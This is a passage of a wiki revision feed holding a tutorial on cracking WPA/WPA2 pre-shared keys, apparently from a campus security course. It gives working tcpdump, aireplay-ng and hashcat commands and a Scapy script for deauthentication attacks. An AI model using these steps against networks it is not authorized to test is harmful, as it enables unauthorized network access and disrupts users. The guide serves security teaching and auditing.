                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
sudo airport $INTERFACE sniff $CHANNEL&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Disassociate from any network: (-z --disassociate)&lt;br /&gt;
sudo airport -z&lt;br /&gt;
# Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
sudo airport -c$CHANNEL&lt;br /&gt;
&lt;br /&gt;
# Capture a beacon frame from the AP&lt;br /&gt;
sudo tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE&amp;lt; -w beacon.cap&lt;br /&gt;
# Wait for the WPA handshake&lt;br /&gt;
sudo tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -U -vvv -i $INTERFACE -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
# Merge the two files&lt;br /&gt;
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Convert .cap to .hcapx file (Part of hashcat-utils)&lt;br /&gt;
cap2hccapx capture.cap capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Crack using a simple dictionary attack:&lt;br /&gt;
hashcat -m 2500 capture.hccapx wordlist.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
&lt;br /&gt;
Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using &amp;lt;code&amp;gt;aircrack-ng&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt;. Alternatively use &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt; to manually execute a deauthentication attack, as shown below.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;# Configuration&lt;br /&gt;
station = &amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;br /&gt;
bssid = &amp;quot;00:00:00:00:00:00&amp;quot;&lt;br /&gt;
interface = &amp;quot;wlan0mon&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Craft and send 802.11 frame&lt;br /&gt;
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)&lt;br /&gt;
packet = RadioTap()/dot11/Dot11Deauth(reason=7)&lt;br /&gt;
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;$STA&amp;lt;/code&amp;gt; may be &amp;lt;code&amp;gt;ff:ff:ff:ff:ff:ff&amp;lt;/code&amp;gt;. MAC’s must be lowercase!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* DSTIKE Deauther Watch V1&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17528</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17528"/>
		<updated>2024-12-18T17:18:16Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* GNU/Linux */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= TL;DR =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;For those using Kali Linux (&amp;gt;2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, &amp;lt;code&amp;gt;[https://github.com/derv82/wifite2 wifite]&amp;lt;/code&amp;gt; is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments &amp;amp; switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.&amp;lt;/p&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Generic: One command to rule them all&lt;br /&gt;
sudo wifite&lt;br /&gt;
&lt;br /&gt;
# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture&lt;br /&gt;
sudo wifite --wpa --no-wps --no-pmkid&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
* Install aircrack-ng suite: &lt;br /&gt;
Debian based distributions: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
Arch based distributions: &amp;lt;code&amp;gt;sudo pacman -S aicrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
* Install: &amp;lt;code&amp;gt;pip install scapy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
